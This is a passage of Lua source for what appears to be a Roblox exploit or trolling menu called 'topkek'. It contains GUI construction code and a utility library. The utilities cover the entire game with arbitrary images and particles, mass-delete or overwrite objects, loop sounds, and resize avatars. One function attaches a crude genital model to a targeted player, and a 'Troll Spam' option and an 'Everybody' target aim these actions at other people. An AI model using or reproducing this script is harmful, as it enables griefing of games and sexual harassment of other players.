		Second.TextStrokeTransparency = 0
	
		Second.TextXAlignment = Enum.TextXAlignment.Left
	
	
	
		Location.Name = "Location"
	
		Location.Parent = Top
	
		Location.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Location.BackgroundTransparency = 1
	
		Location.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
	
		Location.Position = UDim2.new(0, 90, 0, 0)
	
		Location.Size = UDim2.new(1, -200, 1, 0)
	
		Location.Font = Enum.Font.SourceSansBold
	
		Location.FontSize = Enum.FontSize.Size18
	
		Location.Text = "Home"
	
		Location.TextColor3 = Color3.new(0.588235, 0.0196078, 0.172549)
	
		Location.TextStrokeTransparency = 0
	
	
	
		Exit.Name = "Exit"
	
		Exit.Parent = Top
	
		Exit.BackgroundColor3 = Color3.new(0.588235, 0.0196078, 0.172549)
	
		Exit.BorderSizePixel = 0
	
		Exit.Position = UDim2.new(1, -18, 0, 2)
	
		Exit.Size = UDim2.new(0, 16, 0, 16)
	
		Exit.Font = Enum.Font.SourceSansBold
	
		Exit.FontSize = Enum.FontSize.Size14
	
		Exit.Text = "X"
	
		Exit.TextColor3 = Color3.new(1, 1, 1)
	
		Exit.MouseButton1Down:connect(function()
	
			Base.Parent = nil
	
		end)
	
	
	
		HomeContainer.Name = "HomeContainer"
	
		HomeContainer.Parent = Base
	
		HomeContainer.BackgroundColor3 = Color3.new(1, 1, 1)
	
		HomeContainer.BackgroundTransparency = 1
	
		HomeContainer.Position = UDim2.new(0, 10, 0, 50)
	
		HomeContainer.Size = UDim2.new(1, -20, 1, -65)
	
	
	
		Players.Name = "Players"
	
		Players.Parent = HomeContainer
	
		Players.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Players.BackgroundTransparency = 1
	
		Players.Position = UDim2.new(0.666000009, 10, 0, 0)
	
		Players.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel.Parent = Players
	
		ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel.BackgroundTransparency = 1
	
		ImageLabel.Position = UDim2.new(0.5, -25, 0, 0)
	
		ImageLabel.Size = UDim2.new(0, 50, 0, 50)
	
		ImageLabel.Image = "rbxassetid://573066980"
	
		ImageLabel.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel.Parent = Players
	
		TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel.BackgroundTransparency = 1
	
		TextLabel.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel.Font = Enum.Font.SourceSansBold
	
		TextLabel.FontSize = Enum.FontSize.Size24
	
		TextLabel.Text = "Players"
	
		TextLabel.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask.Name = "Mask"
	
		Mask.Parent = Players
	
		Mask.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask.BackgroundTransparency = 1
	
		Mask.Position = UDim2.new(0, 27, 0, 0)
	
		Mask.Size = UDim2.new(1, -56, 0, 65)
	
		Mask.Font = Enum.Font.SourceSans
	
		Mask.FontSize = Enum.FontSize.Size14
	
		Mask.Text = ""
	
	
	
		Server.Name = "Server"
	
		Server.Parent = HomeContainer
	
		Server.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Server.BackgroundTransparency = 1
	
		Server.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel_2.Parent = Server
	
		ImageLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel_2.BackgroundTransparency = 1
	
		ImageLabel_2.Position = UDim2.new(0.5, -23, 0, 0)
	
		ImageLabel_2.Size = UDim2.new(0, 46, 0, 46)
	
		ImageLabel_2.Image = "rbxassetid://573084509"
	
		ImageLabel_2.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel_2.Parent = Server
	
		TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel_2.BackgroundTransparency = 1
	
		TextLabel_2.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel_2.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel_2.Font = Enum.Font.SourceSansBold
	
		TextLabel_2.FontSize = Enum.FontSize.Size24
	
		TextLabel_2.Text = "Server"
	
		TextLabel_2.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask_2.Name = "Mask"
	
		Mask_2.Parent = Server
	
		Mask_2.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask_2.BackgroundTransparency = 1
	
		Mask_2.Position = UDim2.new(0, 27, 0, 0)
	
		Mask_2.Size = UDim2.new(1, -56, 0, 65)
	
		Mask_2.Font = Enum.Font.SourceSans
	
		Mask_2.FontSize = Enum.FontSize.Size14
	
		Mask_2.Text = ""
	
	
	
		LocalPlayer.Name = "LocalPlayer"
	
		LocalPlayer.Parent = HomeContainer
	
		LocalPlayer.BackgroundColor3 = Color3.new(1, 1, 1)
	
		LocalPlayer.BackgroundTransparency = 1
	
		LocalPlayer.Position = UDim2.new(0.333000004, 10, 0, 0)
	
		LocalPlayer.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel_3.Parent = LocalPlayer
	
		ImageLabel_3.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel_3.BackgroundTransparency = 1
	
		ImageLabel_3.Position = UDim2.new(0.5, -25, 0, 0)
	
		ImageLabel_3.Size = UDim2.new(0, 50, 0, 50)
	
		ImageLabel_3.Image = "rbxassetid://573078228"
	
		ImageLabel_3.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel_3.Parent = LocalPlayer
	
		TextLabel_3.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel_3.BackgroundTransparency = 1
	
		TextLabel_3.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel_3.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel_3.Font = Enum.Font.SourceSansBold
	
		TextLabel_3.FontSize = Enum.FontSize.Size24
	
		TextLabel_3.Text = "LocalPlayer"
	
		TextLabel_3.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask_3.Name = "Mask"
	
		Mask_3.Parent = LocalPlayer
	
		Mask_3.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask_3.BackgroundTransparency = 1
	
		Mask_3.Position = UDim2.new(0, 27, 0, 0)
	
		Mask_3.Size = UDim2.new(1, -56, 0, 65)
	
		Mask_3.Font = Enum.Font.SourceSans
	
		Mask_3.FontSize = Enum.FontSize.Size14
	
		Mask_3.Text = ""
	
	
	
		Scripts.Name = "Scripts"
	
		Scripts.Parent = HomeContainer
	
		Scripts.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Scripts.BackgroundTransparency = 1
	
		Scripts.Position = UDim2.new(0, 0, 0.5, 0)
	
		Scripts.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel_4.Parent = Scripts
	
		ImageLabel_4.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel_4.BackgroundTransparency = 1
	
		ImageLabel_4.Position = UDim2.new(0.5, -25, 0, 0)
	
		ImageLabel_4.Size = UDim2.new(0, 50, 0, 50)
	
		ImageLabel_4.Image = "rbxassetid://573081437"
	
		ImageLabel_4.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel_4.Parent = Scripts
	
		TextLabel_4.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel_4.BackgroundTransparency = 1
	
		TextLabel_4.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel_4.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel_4.Font = Enum.Font.SourceSansBold
	
		TextLabel_4.FontSize = Enum.FontSize.Size24
	
		TextLabel_4.Text = "Scripts"
	
		TextLabel_4.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask_4.Name = "Mask"
	
		Mask_4.Parent = Scripts
	
		Mask_4.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask_4.BackgroundTransparency = 1
	
		Mask_4.Position = UDim2.new(0, 27, 0, 0)
	
		Mask_4.Size = UDim2.new(1, -56, 0, 65)
	
		Mask_4.Font = Enum.Font.SourceSans
	
		Mask_4.FontSize = Enum.FontSize.Size14
	
		Mask_4.Text = ""
	
	
	
		Miscellaneous.Name = "Miscellaneous"
	
		Miscellaneous.Parent = HomeContainer
	
		Miscellaneous.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Miscellaneous.BackgroundTransparency = 1
	
		Miscellaneous.Position = UDim2.new(0.333000004, 10, 0.5, 0)
	
		Miscellaneous.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel_5.Parent = Miscellaneous
	
		ImageLabel_5.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel_5.BackgroundTransparency = 1
	
		ImageLabel_5.Position = UDim2.new(0.5, -23, 0, 0)
	
		ImageLabel_5.Size = UDim2.new(0, 46, 0, 46)
	
		ImageLabel_5.Image = "rbxassetid://573087376"
	
		ImageLabel_5.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel_5.Parent = Miscellaneous
	
		TextLabel_5.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel_5.BackgroundTransparency = 1
	
		TextLabel_5.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel_5.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel_5.Font = Enum.Font.SourceSansBold
	
		TextLabel_5.FontSize = Enum.FontSize.Size24
	
		TextLabel_5.Text = "Miscellaneous"
	
		TextLabel_5.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask_5.Name = "Mask"
	
		Mask_5.Parent = Miscellaneous
	
		Mask_5.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask_5.BackgroundTransparency = 1
	
		Mask_5.Position = UDim2.new(0, 27, 0, 0)
	
		Mask_5.Size = UDim2.new(1, -56, 0, 65)
	
		Mask_5.Font = Enum.Font.SourceSans
	
		Mask_5.FontSize = Enum.FontSize.Size14
	
		Mask_5.Text = ""
	
	
	
		Settings.Name = "Settings"
	
		Settings.Parent = HomeContainer
	
		Settings.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Settings.BackgroundTransparency = 1
	
		Settings.Position = UDim2.new(0.666000009, 10, 0.5, 0)
	
		Settings.Size = UDim2.new(0.333000004, -10, 0.5, -10)
	
	
	
		ImageLabel_6.Parent = Settings
	
		ImageLabel_6.BackgroundColor3 = Color3.new(1, 1, 1)
	
		ImageLabel_6.BackgroundTransparency = 1
	
		ImageLabel_6.Position = UDim2.new(0.5, -23, 0, 0)
	
		ImageLabel_6.Size = UDim2.new(0, 46, 0, 46)
	
		ImageLabel_6.Image = "rbxassetid://573090294"
	
		ImageLabel_6.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
	
	
	
		TextLabel_6.Parent = Settings
	
		TextLabel_6.BackgroundColor3 = Color3.new(1, 1, 1)
	
		TextLabel_6.BackgroundTransparency = 1
	
		TextLabel_6.Position = UDim2.new(0, 10, 1, -40)
	
		TextLabel_6.Size = UDim2.new(1, -20, 0, 20)
	
		TextLabel_6.Font = Enum.Font.SourceSansBold
	
		TextLabel_6.FontSize = Enum.FontSize.Size24
	
		TextLabel_6.Text = "Settings"
	
		TextLabel_6.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
	
	
	
		Mask_6.Name = "Mask"
	
		Mask_6.Parent = Settings
	
		Mask_6.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Mask_6.BackgroundTransparency = 1
	
		Mask_6.Position = UDim2.new(0, 27, 0, 0)
	
		Mask_6.Size = UDim2.new(1, -56, 0, 65)
	
		Mask_6.Font = Enum.Font.SourceSans
	
		Mask_6.FontSize = Enum.FontSize.Size14
	
		Mask_6.Text = ""
	
	
	
		Navigator.Name = "Navigator"
	
		Navigator.Parent = Base
	
		Navigator.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		Navigator.BackgroundTransparency = 0.5
	
		Navigator.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
	
		Navigator.Position = UDim2.new(0, 10, 0, 35)
	
		Navigator.Size = UDim2.new(0, 125, 1, -45)
	
		Navigator.Visible = false
	
		Navigator.BottomImage = "rbxassetid://573102620"
	
		Navigator.MidImage = "rbxassetid://573102620"
	
		Navigator.ScrollBarThickness = 5
	
		Navigator.TopImage = "rbxassetid://573102620"
	
	
	
		Item.Name = "Item"
	
		Item.Parent = Navigator
	
		Item.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		Item.BackgroundTransparency = 0.5
	
		Item.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
	
		Item.Position = UDim2.new(0, 5, 0, 5)
	
		Item.Size = UDim2.new(1, -15, 0, 20)
	
		Item.Selected = true
	
		Item.Font = Enum.Font.SourceSans
	
		Item.FontSize = Enum.FontSize.Size14
	
		Item.Text = "NavItem"
	
		Item.TextColor3 = Color3.new(0.721569, 0.721569, 0.721569)
	
	
	
		ServerContainer.Name = "ServerContainer"
	
		ServerContainer.Parent = Base
	
		ServerContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		ServerContainer.BackgroundTransparency = 0.5
	
		ServerContainer.Position = UDim2.new(0, 140, 0, 35)
	
		ServerContainer.Size = UDim2.new(1, -150, 1, -45)
	
		ServerContainer.Visible = false
	
		ServerContainer.BottomImage = "rbxassetid://573102620"
	
		ServerContainer.MidImage = "rbxassetid://573102620"
	
		ServerContainer.ScrollBarThickness = 5
	
		ServerContainer.TopImage = "rbxassetid://573102620"
	
	
	
		dd.Name = "dd"
	
		dd.Parent = ServerContainer
	
		dd.BackgroundColor3 = Color3.new(0.0196078, 0.0313726, 0.0431373)
	
		dd.Position = UDim2.new(0, 6, 0, 6)
	
		dd.Size = UDim2.new(0.5, -10, 0, 20)
	
		dd.Visible = false
	
		dd.Font = Enum.Font.SourceSans
	
		dd.FontSize = Enum.FontSize.Size14
	
		dd.Text = "Troll Spam"
	
		dd.TextColor3 = Color3.new(0.780392, 0.780392, 0.780392)
	
		dd.TextStrokeTransparency = 0.5
	
	
	
		ImageLabel_7.Parent = dd
	
		ImageLabel_7.BackgroundColor3 = Color3.new(1, 1, 1)	
		ImageLabel_7.BackgroundTransparency = 1
	
		ImageLabel_7.Position = UDim2.new(0, 2, 0, 0)
	
		ImageLabel_7.Size = UDim2.new(0, 20, 0, 20)
	
		ImageLabel_7.Image = "rbxassetid://133293265"
	
	
	
		LocalPlayerContainer.Name = "LocalPlayerContainer"
	
		LocalPlayerContainer.Parent = Base
	
		LocalPlayerContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		LocalPlayerContainer.BackgroundTransparency = 0.5
	
		LocalPlayerContainer.Position = UDim2.new(0, 140, 0, 35)
	
		LocalPlayerContainer.Size = UDim2.new(1, -150, 1, -45)
	
		LocalPlayerContainer.Visible = false
	
		LocalPlayerContainer.BottomImage = "rbxassetid://573102620"
	
		LocalPlayerContainer.MidImage = "rbxassetid://573102620"
	
		LocalPlayerContainer.ScrollBarThickness = 5
	
		LocalPlayerContainer.TopImage = "rbxassetid://573102620"
	
	
	
		PlayersContainer.Name = "PlayersContainer"
	
		PlayersContainer.Parent = Base
	
		PlayersContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		PlayersContainer.BackgroundTransparency = 0.5
	
		PlayersContainer.Position = UDim2.new(0, 140, 0, 35)
	
		PlayersContainer.Size = UDim2.new(1, -150, 1, -45)
	
		PlayersContainer.Visible = false
	
		PlayersContainer.BottomImage = "rbxassetid://573102620"
	
		PlayersContainer.MidImage = "rbxassetid://573102620"
	
		PlayersContainer.ScrollBarThickness = 5
	
		PlayersContainer.TopImage = "rbxassetid://573102620"
	
	
	
		function MakeContainer(n)
	
			local cont = PlayersContainer:Clone()
	
			cont.Name = n .. 'Container'
	
			cont.Parent = Base
	
			return cont
	
		end
	
	
	
		local ScriptsContainer = MakeContainer('Scripts')
	
		local MiscContainer = MakeContainer('Miscellaneous')
	
	
	
		local topkek = {}
	
		topkek.store = {}
	
		topkek.cache = {}
	
		topkek.libgui = {}
	
		topkek.libsettings = {}
	
		topkek.libutil = {}
	
		topkek.libwindows = {}
	
		topkek.libcmd = {}
	
		--[[ gay ass dropdown lib i made a while ago ]]--
	
		dropdown = {}
	
		dropdown.new = function(gui, items, placeholder)
	
			local self = {}
	
			self.value = placeholder
	
			self.items = items
	
			self.gui = gui
	
	
	
			if self.gui:FindFirstChild("__DROPDOWN") then
	
				self.gui["__DROPDOWN"]:Destroy()
	
			end
	
	
	
			self.debug = false
	
	
	
			self.gui.Text = placeholder
	
			self.gui.BorderSizePixel = 0
	
			self.gui.ZIndex = 1
	
	
	
			self.textcolor = self.gui.TextColor3
	
			function self.make()
	
				if self.gui:FindFirstChild("__DROPDOWN") then
	
					self.gui["__DROPDOWN"]:Destroy()
	
				end
	
	
	
	
	
				self.selectgui = Instance.new("ScrollingFrame")
	
				self.selectgui.Parent = self.gui
	
				self.selectgui.Name = "__DROPDOWN"
	
				self.selectgui.Size = UDim2.new(1, 0, 0, 100)
	
				self.selectgui.Position = UDim2.new(0, 0, 0, self.gui.AbsoluteSize.Y)
	
				self.selectgui.BorderSizePixel = 0
	
				self.selectgui.ZIndex = 2
	
				self.selectgui.BackgroundTransparency = self.gui.BackgroundTransparency
	
				self.selectgui.BackgroundColor3 = self.gui.BackgroundColor3
	
				self.selectgui.Visible = false
	
				self.selectgui.CanvasSize = UDim2.new(0, 0, 0, (#self.items-1) * 20)
	
				self.selectgui.ScrollBarThickness = 5
	
	
	
				if #self.items < 4 then
	
					self.selectgui.CanvasSize = UDim2.new(0, 0, 0, 0)
	
					self.selectgui.Size = UDim2.new(1, 0, 0, (#self.items-1) * 20)
	
				end
	
	
	
				self.item = Instance.new("TextButton")
	
				self.item.Size = UDim2.new(1, 0, 0, 20)
	
				self.item.Position = UDim2.new(0, 0, 0, 0)
	
				self.item.BackgroundTransparency = self.gui.BackgroundTransparency - 0.1
	
				self.item.BackgroundColor3 = self.gui.BackgroundColor3
	
				self.item.BorderSizePixel = 0
	
				self.item.ZIndex = 2
	
				self.item.TextColor3 = self.gui.TextColor3
	
				self.item.Font = Enum.Font.SourceSans
	
				self.item.FontSize = Enum.FontSize.Size14
	
	
	
				self.curitem = nil
	
	
	
				for i, v in pairs(self.items) do
	
					if not (v == self.value) then
	
						local ti = self.item:Clone()
	
						ti.Parent = self.selectgui
	
						if i == 1 then i = 2 end
	
						ti.Position = UDim2.new(0, 0, 0, (i - 2) * 20)
	
						ti.Text = v
	
						ti.MouseButton1Down:connect(function()
	
							self.value = v
	
							self.open = false
	
							self.selectgui.Visible = false
	
							self.gui.Text = v
	
							self.make()
	
						end)
	
					end
	
				end
	
			end
	
	
	
			self.getvalue = function()
	
				return self.value
	
			end
	
	
	
			self.update = function(itms)
	
				self.items = itms
	
				self.make()
	
			end
	
	
	
			self.open = false	
	
	
	
			self.gui.MouseButton1Down:connect(function()
	
				if self.open == false then
	
					self.selectgui.CanvasPosition = Vector2.new(0, 0)
	
					self.selectgui.Visible = true
	
					self.open = true
	
				else
	
					self.selectgui.Visible = false
	
					self.open = false
	
				end
	
			end)
	
	
	
			self.make()
	
			return self
	
		end
	
		--[[ libsettings lole ]]--
	
		topkek.libsettings.store = {}
	
		function topkek.libsettings:getSetting(k)
	
			return topkek.libsettings.store[k]
	
		end
	
	
	
		function topkek.libsettings:setSetting(k,v)
	
			topkek.libsettings.store[k]=v
	
		end
	
	
	
		-- [[ libutil ]] --
	
		function topkek.libutil:createObject(o, p)
	
			local a, b = pcall(function()
	
				Instance.new(o)
	
			end)
	
			if not a then
	
				return
	
			end
	
			local obj = Instance.new(o)
	
			for prop, val in pairs(p) do
	
				pcall(function()
	
					obj[prop] = val 
	
				end)
	
			end
	
			return obj
	
		end
	
		function topkek.libutil:Color3(r,g,b)
	
			return Color3.new(r/255,g/255,b/255)
	
		end; color3 = function(r,g,b) return topkek.libutil:Color3(r,g,b) end
	
		function topkek.libutil:recurseDecal(img)--topkek2.0 code tbh
	
			img = 'rbxassetid://' .. img
	
			local function skybox(x)
	
				local sky = Instance.new("Sky",game.Lighting)
	
				local fcs={"Bk","Dn","Ft","Lf","Rt","Up"}
	
				for i,v in pairs(fcs) do
	
					sky["Skybox"..v]=x
	
				end
	
			end
	
			local function particle(p, b)
	
				local a = Instance.new("ParticleEmitter", p)
	
				a.Rate = 500
	
				a.Lifetime = NumberRange.new(20, 30)
	
				a.VelocitySpread = 200
	
				a.Texture = b
	
			end
	
	
	
			local function decal(p, b)
	
				local sides = {"Back", "Bottom", "Front", "Left", "Right", "Top"}
	
				for i, v in pairs(sides) do
	
					local a = Instance.new("Decal", p)
	
					a.Texture = b
	
					a.Face = v
	
				end
	
			end
	
	
	
			local function recurse(x)
	
				for i, v in pairs(x:GetChildren()) do
	
					pcall(function() -- 'error occured, no output from Lua' LOLE
	
						if v:IsA("BasePart") then
	
							particle(v, img)
	
							decal(v, img)
	
						end
	
						if #(v:GetChildren())>0 then
	
							recurse(v)
	
						end
	
					end)
	
				end
	
			end
	
	
	
			recurse(game)
	
			skybox(img)
	
		end
	
		function topkek.libutil:recurseRemove(type_)
	
			local function recurse(x)
	
				for i, v in pairs(x:GetChildren()) do
	
					pcall(function()
	
						if v:IsA(type_) then
	
							v:Destroy()
	
						end
	
						if #(v:GetChildren())>0 then
	
							recurse(v)
	
						end
	
					end)
	
				end
	
			end
	
			recurse(game)
	
		end
	
		function topkek.libutil:recurseSet(type_,prop,val)
	
			local function recurse(x)
	
				for i, v in pairs(x:GetChildren()) do
	
					pcall(function()
	
						if v:IsA(type_) then
	
							v[prop]=val
	
						end
	
						if #(v:GetChildren())>0 then
	
							recurse(v)
	
						end
	
					end)
	
				end
	
			end
	
			recurse(game)
	
		end
	
		function topkek.libutil:recurseSetObj(obj,type_,prop,val)
	
			local function recurse(x)
	
				for i, v in pairs(x:GetChildren()) do
	
					pcall(function()
	
						if v:IsA(type_) then
	
							v[prop]=val
	
						end
	
						if #(v:GetChildren())>0 then
	
							recurse(v)
	
						end
	
					end)
	
				end
	
			end
	
			recurse(obj)
	
		end
	
		function topkek.libutil:recurseFunc(type_,func)
	
			local function recurse(x)
	
				for i, v in pairs(x:GetChildren()) do
	
					pcall(function()
	
						if v:IsA(type_) then
	
							func(v)
	
						end
	
						if #(v:GetChildren())>0 then
	
							recurse(v)
	
						end
	
					end)
	
				end
	
			end
	
			recurse(game)
	
		end
	
		function topkek.libutil:Play(id)
	
			local mu = Instance.new("Sound", game.Workspace)
	
			mu.Volume = 1
	
			mu.Looped = true
	
			mu.Pitch = 1
	
			mu.SoundId = "rbxassetid://"..tostring(id)
	
			mu:Play()
	
		end
	
		function topkek.libutil:GetPlayerList()
	
			local list = {'Everybody'}
	
			for i, v in pairs(game:service'Players':GetPlayers()) do
	
				table.insert(list, v.Name)
	
			end
	
			return list
	
		end
	
		function topkek.libutil:doPlayers(drop, func)
	
			local str = drop.getvalue()
	
			local plrs = {}
	
			if str == 'Everybody' then
	
				plrs = game:GetService('Players'):GetPlayers()
	
			else
	
				plrs = {game:GetService('Players'):FindFirstChild(str)}
	
			end
	
			for i, v in pairs(plrs) do
	
				func(v)
	
			end
	
		end
	
		function topkek.libutil:insert(id)
	
			if topkek.cache[id] then return topkek.cache[id] end -- moist
	
			local obj = game:service'InsertService':LoadAsset(id):GetChildren()[1]
	
			topkek.cache[id] = obj:Clone()
	
			return obj
	
		end; insert = function(id) return topkek.libutil:insert(id) end
	
		function topkek.libutil:getTorso(plr) --r15 compatibility lole
	
			if plr.Character then
	
				if plr.Character:FindFirstChild('UpperTorso') then
	
					return plr.Character.UpperTorso
	
				else
	
					return plr.Character.Torso
	
				end
	
			end
	
		end
	
		function topkek.libutil:weiner(plr)
	
			plr=plr.Character
	
			Shaft=Instance.new("Part", plr)
	
			Shaft.Name='Shaft'
	
			Shaft.Size=Vector3.new(1, 2.5, 1)
	
			Shaft.TopSurface=0
	
			Shaft.BottomSurface=0
	
			Shaft.CanCollide=true
	
			Cyln=Instance.new("CylinderMesh", Shaft)
	
			Cyln.Scale=Vector3.new(0.5,0.7,0.5)
	
			Instance.new("Weld", plr)
	
			plr.Weld.Part0=plr:FindFirstChild("Torso") or plr:FindFirstChild("LowerTorso")
	
			plr.Weld.Part1=plr.Shaft 
	
			plr.Weld.C0=CFrame.new(0,-0.35,-0.9)*CFrame.fromEulerAnglesXYZ(2.2,0,0) 
	
			Shaft.BrickColor=BrickColor.new("Pastel brown")
	
			Tip=Instance.new("Part", plr)
	
			Tip.Name='Tip'
	
			Tip.TopSurface=0
	
			Tip.BottomSurface=0
	
			Tip.Size=Vector3.new(1, 1, 1)
	
			Tip.CanCollide=true
	
			Tip.Touched:connect(function(prt) if prt.Parent~=player then spawn(function() for i=1, 5 do local pert=Instance.new("Part", player) pert.CFrame=CFrame.new(prt.Position) pert.CanCollide=true local mesh=Instance.new("BlockMesh", pert) mesh.Scale=Vector3.new(0.2,0.2,0.2) pert.BrickColor=BrickColor.new("White") end end) end end)
	
			Cyln2=Instance.new("SpecialMesh", Tip)
	
			Cyln2.MeshType='Sphere'
	
			Cyln2.Scale=Vector3.new(0.6,0.6,0.6)
	
			Instance.new("Weld", plr).Name='Weld2'
	
			plr.Weld2.Part0=plr.Shaft
	
			plr.Weld2.Part1=plr.Tip 
	
			plr.Weld2.C0=CFrame.new(0,-.9,0)
	
			Tip.BrickColor=BrickColor.new("Pink")
	
			-----
	
			Ball1=Instance.new("Part", plr)
	
			Ball1.Name='Ball1'
	
			Ball1.Size=Vector3.new(1, 1, 1)
	
			Ball1.TopSurface=0
	
			Ball1.BottomSurface=0
	
			Cyln3=Instance.new("SpecialMesh", Ball1)
	
			Cyln3.MeshType='Sphere'
	
			Cyln3.Scale=Vector3.new(0.4,0.4,0.4)
	
			Instance.new("Weld", plr).Name='Weld3'
	
			plr.Weld3.Part0=plr.Shaft
	
			plr.Weld3.Part1=plr.Ball1 
	
			plr.Weld3.C0=CFrame.new(0.225,.4,0.2)
	
			Ball1.BrickColor=BrickColor.new("Pastel brown")
	
			-----
	
			Ball2=Instance.new("Part", plr)
	
			Ball2.Name='Ball2'
	
			Ball2.Size=Vector3.new(1, 1, 1)
	
			Ball2.TopSurface=0
	
			Ball2.BottomSurface=0
	
			Cyln3=Instance.new("SpecialMesh", Ball2)
	
			Cyln3.MeshType='Sphere'
	
			Cyln3.Scale=Vector3.new(0.4,0.4,0.4)
	
			Instance.new("Weld", plr).Name='Weld4'
	
			plr.Weld4.Part0=plr.Shaft
	
			plr.Weld4.Part1=plr.Ball2 
	
			plr.Weld4.C0=CFrame.new(-0.225,.4,0.2)
	
			Ball2.BrickColor=BrickColor.new("Pastel brown")
	
		end
	
		function topkek.libutil:scalePlayer(plr, sz)
	
			local pchar = plr.Character
	
			if pchar:FindFirstChild("UpperTorso") then
	
				warn("Player [" ..plr.Name.. "] is R15.")
	
				return
	
			end
	
			local function scale(chr,scl)
	
	
	
				for _,v in pairs(pchar:GetChildren()) do
	
					if v:IsA("Hat") then
	
						v:Clone()
	
						v.Parent = game.Lighting
	
					end
	
				end
	
	
	
				local Head = chr['Head']
	
				local Torso = chr['Torso']
	
				local LA = chr['Left Arm']
	
				local RA = chr['Right Arm']
	
				local LL = chr['Left Leg']
	
				local RL = chr['Right Leg']
	
				local HRP = chr['HumanoidRootPart']
	
	
	
				wait(0.1)
	
	
	
				Head.formFactor = 3
	
				Torso.formFactor = 3
	
				LA.formFactor = 3
	
				RA.formFactor = 3
	
				LL.formFactor = 3
	
				RL.formFactor = 3
	
				HRP.formFactor = 3
	
	
	
				Head.Size = Vector3.new(scl * 2, scl, scl)
	
				Torso.Size = Vector3.new(scl * 2, scl * 2, scl)
	
				LA.Size = Vector3.new(scl, scl * 2, scl)
	
				RA.Size = Vector3.new(scl, scl * 2, scl)
	
				LL.Size = Vector3.new(scl, scl * 2, scl)
	
				RL.Size = Vector3.new(scl, scl * 2, scl)
	
				HRP.Size = Vector3.new(scl * 2, scl * 2, scl)
	
	
	
				local Motor1 = Instance.new('Motor6D', Torso)
	
				Motor1.Part0 = Torso
	
				Motor1.Part1 = Head
	
				Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
	
				Motor1.C1 = CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
	
				Motor1.Name = "Neck"
	
	
	
				local Motor2 = Instance.new('Motor6D', Torso)
	
				Motor2.Part0 = Torso
	
				Motor2.Part1 = LA
	
				Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
	
				Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
	
				Motor2.Name = "Left Shoulder"
	
	
	
				local Motor3 = Instance.new('Motor6D', Torso)
	
				Motor3.Part0 = Torso
	
				Motor3.Part1 = RA
	
				Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
	
				Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
	
				Motor3.Name = "Right Shoulder"
	
	
	
				local Motor4 = Instance.new('Motor6D', Torso)
	
				Motor4.Part0 = Torso
	
